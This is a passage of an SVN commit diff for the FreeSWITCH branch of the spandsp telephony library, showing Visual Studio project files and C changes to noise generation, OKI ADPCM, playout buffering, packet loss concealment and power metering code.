-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				AdditionalIncludeDirectories="src; src\spandsp; src\msvc;..\libtiff\include"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_MATH_H;HAVE_TGMATH_H"
-				RuntimeLibrary="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="4"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="1"
-				ModuleDefinitionFile="src/msvc/spandsp.def"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libspandsp"
+	ProjectGUID="{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	RootNamespace="libspandsp"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+  <Platforms>
+    <Platform
+			Name="Win32"
+		/>
+  </Platforms>
+  <ToolFiles>
+  </ToolFiles>
+  <Configurations>
+    <Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+  </Configurations>
+  <References>
+  </References>
+  <Files>
+    <Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/vc9proj.foot (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/vc9proj.foot) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/vc9proj.foot	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/vc9proj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+		</Filter>
+		<File
+			RelativePath=".\msvc\spandsp.h"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+					Outputs="$(ProjectDir)$(InputFileName)"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+					Outputs="$(ProjectDir)$(InputFileName)"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Debug|x64"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+					Outputs="$(ProjectDir)$(InputFileName)"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|x64"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+					Outputs="$(ProjectDir)$(InputFileName)"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/vc9proj.head (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/vc9proj.head) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/vc9proj.head	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/vc9proj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libspandsp"
+	ProjectGUID="{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	RootNamespace="libspandsp"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+  <Platforms>
+    <Platform
+			Name="Win32"
+		/>
+    <Platform
+			Name="x64"
+		/>
+  </Platforms>
+  <ToolFiles>
+  </ToolFiles>
+  <Configurations>
+    <Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp.lib"
+				TargetMachine="17"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp.lib"
+				TargetMachine="17"
+			/>
+    </Configuration>
+  </Configurations>
+  <References>
+  </References>
+  <Files>
+    <Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>

Modified: freeswitch/branches/seven/libs/spandsp/src/noise.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/noise.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/noise.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,32 +23,35 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: noise.c,v 1.25 2008/09/19 14:02:05 steveu Exp $
+ * $Id: noise.c,v 1.31 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/saturated.h"
 #include "spandsp/noise.h"
 
-int16_t noise(noise_state_t *s)
+#include "spandsp/private/noise.h"
+
+SPAN_DECLARE(int16_t) noise(noise_state_t *s)
 {
     int32_t val;
     int i;
@@ -77,14 +80,8 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-noise_state_t *noise_init_dbm0(noise_state_t *s, int seed, float level, int class_of_noise, int quality)
+SPAN_DECLARE(noise_state_t *) noise_init_dbov(noise_state_t *s, int seed, float level, int class_of_noise, int quality)
 {
-    return noise_init_dbov(s, seed, (level - DBM0_MAX_POWER), class_of_noise, quality);
-}
-/*- End of function --------------------------------------------------------*/
-
-noise_state_t *noise_init_dbov(noise_state_t *s, int seed, float level, int class_of_noise, int quality)
-{
     float rms;
 
     if (s == NULL)
@@ -111,4 +108,23 @@
     return s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(noise_state_t *) noise_init_dbm0(noise_state_t *s, int seed, float level, int class_of_noise, int quality)
+{
+    return noise_init_dbov(s, seed, (level - DBM0_MAX_POWER), class_of_noise, quality);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) noise_release(noise_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) noise_free(noise_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/oki_adpcm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/oki_adpcm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/oki_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -27,13 +27,13 @@
  * The actual OKI ADPCM encode and decode method is derived from freely
  * available code, whose exact origins seem uncertain.
  *
- * $Id: oki_adpcm.c,v 1.27 2008/05/13 13:17:23 steveu Exp $
+ * $Id: oki_adpcm.c,v 1.32 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -42,19 +42,21 @@
 
 #include "spandsp/telephony.h"
 #include "spandsp/oki_adpcm.h"
+#include "spandsp/private/oki_adpcm.h"
 
 /* Routines to convert 12 bit linear samples to the Oki ADPCM coding format,
    widely used in CTI, because Dialogic use it. */
 
+/* OKI ADPCM step variation table */
 static const int16_t step_size[49] =
 {
-      16,   17,   19,   21,   23,   25,   28,   31,
-      34,   37,   41,   45,   50,   55,   60,   66,
-      73,   80,   88,   97,  107,  118,  130,  143,
-     157,  173,  190,  209,  230,  253,  279,  307,
-     337,  371,  408,  449,  494,  544,  598,  658,
-     724,  796,  876,  963, 1060, 1166, 1282, 1408,
-    1552
+       16,    17,    19,    21,    23,    25,    28,    31,
+       34,    37,    41,    45,    50,    55,    60,    66,
+       73,    80,    88,    97,   107,   118,   130,   143,
+      157,   173,   190,   209,   230,   253,   279,   307,
+      337,   371,   408,   449,   494,   544,   598,   658,
+      724,   796,   876,   963,  1060,  1166,  1282,  1411,
+     1552
 };
 
 static const int16_t step_adjustment[8] =
@@ -240,7 +242,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-oki_adpcm_state_t *oki_adpcm_init(oki_adpcm_state_t *s, int bit_rate)
+SPAN_DECLARE(oki_adpcm_state_t *) oki_adpcm_init(oki_adpcm_state_t *s, int bit_rate)
 {
     if (bit_rate != 32000  &&  bit_rate != 24000)
         return NULL;
@@ -256,17 +258,23 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int oki_adpcm_release(oki_adpcm_state_t *s)
+SPAN_DECLARE(int) oki_adpcm_release(oki_adpcm_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) oki_adpcm_free(oki_adpcm_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int oki_adpcm_decode(oki_adpcm_state_t *s,
-                     int16_t amp[],
-                     const uint8_t oki_data[],
-                     int oki_bytes)
+SPAN_DECLARE(int) oki_adpcm_decode(oki_adpcm_state_t *s,
+                                   int16_t amp[],
+                                   const uint8_t oki_data[],
+                                   int oki_bytes)
 {
     int i;
     int x;
@@ -316,10 +324,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int oki_adpcm_encode(oki_adpcm_state_t *s,
-                     uint8_t oki_data[],
-                     const int16_t amp[],
-                     int len)
+SPAN_DECLARE(int) oki_adpcm_encode(oki_adpcm_state_t *s,
+                                   uint8_t oki_data[],
+                                   const int16_t amp[],
+                                   int len)
 {
     int x;
     int l;

Modified: freeswitch/branches/seven/libs/spandsp/src/playout.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/playout.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/playout.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -29,11 +29,11 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: playout.c,v 1.14 2008/05/13 13:17:23 steveu Exp $
+ * $Id: playout.c,v 1.17 2009/02/10 13:06:46 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
@@ -73,19 +73,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-timestamp_t playout_next_due(playout_state_t *s)
+SPAN_DECLARE(timestamp_t) playout_next_due(playout_state_t *s)
 {
     return s->last_speech_sender_stamp + s->last_speech_sender_len;
 }
 /*- End of function --------------------------------------------------------*/
 
-timestamp_t playout_current_length(playout_state_t *s)
+SPAN_DECLARE(timestamp_t) playout_current_length(playout_state_t *s)
 {
     return s->target_buffer_length;
 }
 /*- End of function --------------------------------------------------------*/
 
-playout_frame_t *playout_get_unconditional(playout_state_t *s)
+SPAN_DECLARE(playout_frame_t *) playout_get_unconditional(playout_state_t *s)
 {
     playout_frame_t *frame;
     
@@ -103,7 +103,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int playout_get(playout_state_t *s, playout_frame_t *frameout, timestamp_t now)
+SPAN_DECLARE(int) playout_get(playout_state_t *s, playout_frame_t *frameout, timestamp_t now)
 {
     playout_frame_t *frame;
 
@@ -222,7 +222,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int playout_put(playout_state_t *s, void *data, int type, timestamp_t sender_len, timestamp_t sender_stamp, timestamp_t receiver_stamp)
+SPAN_DECLARE(int) playout_put(playout_state_t *s, void *data, int type, timestamp_t sender_len, timestamp_t sender_stamp, timestamp_t receiver_stamp)
 {
     playout_frame_t *frame;
     playout_frame_t *p;
@@ -305,7 +305,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void playout_restart(playout_state_t *s, int min_length, int max_length)
+SPAN_DECLARE(void) playout_restart(playout_state_t *s, int min_length, int max_length)
 {
     playout_frame_t *frame;
     playout_frame_t *next;
@@ -330,7 +330,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-playout_state_t *playout_new(int min_length, int max_length)
+SPAN_DECLARE(playout_state_t *) playout_init(int min_length, int max_length)
 {
     playout_state_t *s;
 
@@ -342,7 +342,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void playout_free(playout_state_t *s)
+SPAN_DECLARE(int) playout_release(playout_state_t *s)
 {
     playout_frame_t *frame;
     playout_frame_t *next;
@@ -360,8 +360,19 @@
         next = frame->later;
         free(frame);
     }
-    /* Finally, free ourselves! */ 
-    free(s);
+    return 0;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) playout_free(playout_state_t *s)
+{
+    if (s)
+    {
+        playout_release(s);
+        /* Finally, free ourselves! */ 
+        free(s);
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/plc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/plc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/plc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,29 +22,30 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: plc.c,v 1.23 2008/09/19 14:02:05 steveu Exp $
+ * $Id: plc.c,v 1.27 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
 #include <inttypes.h>
 #include <stdlib.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <limits.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/saturated.h"
 #include "spandsp/plc.h"
 
@@ -115,7 +116,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int plc_rx(plc_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE(int) plc_rx(plc_state_t *s, int16_t amp[], int len)
 {
     int i;
     int pitch_overlap;
@@ -159,7 +160,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int plc_fillin(plc_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE(int) plc_fillin(plc_state_t *s, int16_t amp[], int len)
 {
     int i;
     int pitch_overlap;
@@ -235,7 +236,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-plc_state_t *plc_init(plc_state_t *s)
+SPAN_DECLARE(plc_state_t *) plc_init(plc_state_t *s)
 {
     if (s == NULL)
     {
@@ -247,8 +248,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int plc_free(plc_state_t *s)
+SPAN_DECLARE(int) plc_release(plc_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) plc_free(plc_state_t *s)
+{
     if (s)
         free(s);
     return 0;

Modified: freeswitch/branches/seven/libs/spandsp/src/power_meter.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/power_meter.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/power_meter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: power_meter.c,v 1.24 2008/07/02 14:48:26 steveu Exp $
+ * $Id: power_meter.c,v 1.31 2009/05/30 17:29:23 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -37,19 +37,19 @@
 #include <fcntl.h>
 #include <string.h>
 #include <float.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 
 #include "spandsp/telephony.h"
 #include "spandsp/power_meter.h"
 
-power_meter_t *power_meter_init(power_meter_t *s, int shift)
+SPAN_DECLARE(power_meter_t *) power_meter_init(power_meter_t *s, int shift)
 {
     if (s == NULL)
     {
@@ -62,21 +62,35 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-power_meter_t *power_meter_damping(power_meter_t *s, int shift)
+SPAN_DECLARE(int) power_meter_release(power_meter_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) power_meter_free(power_meter_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(power_meter_t *) power_meter_damping(power_meter_t *s, int shift)
+{
     s->shift = shift;
     return s;
 }
 /*- End of function --------------------------------------------------------*/
 
-int32_t power_meter_update(power_meter_t *s, int16_t amp)
+SPAN_DECLARE(int32_t) power_meter_update(power_meter_t *s, int16_t amp)
 {
     s->reading += ((amp*amp - s->reading) >> s->shift);
     return s->reading;
 }
 /*- End of function --------------------------------------------------------*/
 
-int32_t power_meter_level_dbm0(float level)
+SPAN_DECLARE(int32_t) power_meter_level_dbm0(float level)
 {
     float l;
 
@@ -88,7 +102,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int32_t power_meter_level_dbov(float level)
+SPAN_DECLARE(int32_t) power_meter_level_dbov(float level)
 {
     float l;
 
@@ -99,26 +113,102 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int32_t power_meter_current(power_meter_t *s)
+SPAN_DECLARE(int32_t) power_meter_current(power_meter_t *s)
 {
     return s->reading;
 }
 /*- End of function --------------------------------------------------------*/
 
-float power_meter_current_dbm0(power_meter_t *s)
+SPAN_DECLARE(float) power_meter_current_dbm0(power_meter_t *s)
 {
     if (s->reading <= 0)
-        return FLT_MIN;
+        return -96.329f + DBM0_MAX_POWER;
     /* This is based on A-law, but u-law is only 0.03dB different, so don't worry. */
     return log10f((float) s->reading/(32767.0f*32767.0f))*10.0f + DBM0_MAX_POWER;
 }
 /*- End of function --------------------------------------------------------*/
 
-float power_meter_current_dbov(power_meter_t *s)
+SPAN_DECLARE(float) power_meter_current_dbov(power_meter_t *s)
 {
     if (s->reading <= 0)
-        return FLT_MIN;
+        return -96.329f;
     return log10f((float) s->reading/(32767.0f*32767.0f))*10.0f;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int32_t) power_surge_detector(power_surge_detector_state_t *s, int16_t amp)
+{
+    int32_t pow_short;
+    int32_t pow_medium;
+
+    pow_short = power_meter_update(&s->short_term, amp);
+    pow_medium = power_meter_update(&s->medium_term, amp);
+    if (pow_medium < s->min)
+        return 0;
+    if (!s->signal_present)
+    {
+        if (pow_short <= s->surge*(pow_medium >> 10))
+            return 0;
+        s->signal_present = TRUE;
+        s->medium_term.reading = s->short_term.reading;
+    }
+    else
+    {
+        if (pow_short < s->sag*(pow_medium >> 10))
+        {
+            s->signal_present = FALSE;
+            s->medium_term.reading = s->short_term.reading;
+            return 0;
+        }
+    }
+    return pow_short;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(float) power_surge_detector_current_dbm0(power_surge_detector_state_t *s)
+{
+    return power_meter_current_dbm0(&s->short_term);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(float) power_surge_detector_current_dbov(power_surge_detector_state_t *s)
+{
+    return power_meter_current_dbov(&s->short_term);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(power_surge_detector_state_t *) power_surge_detector_init(power_surge_detector_state_t *s, float min, float surge)
+{
+    float ratio;
+
+    if (s == NULL)
+    {
+        if ((s = (power_surge_detector_state_t *) malloc(sizeof(*s))) == NULL)
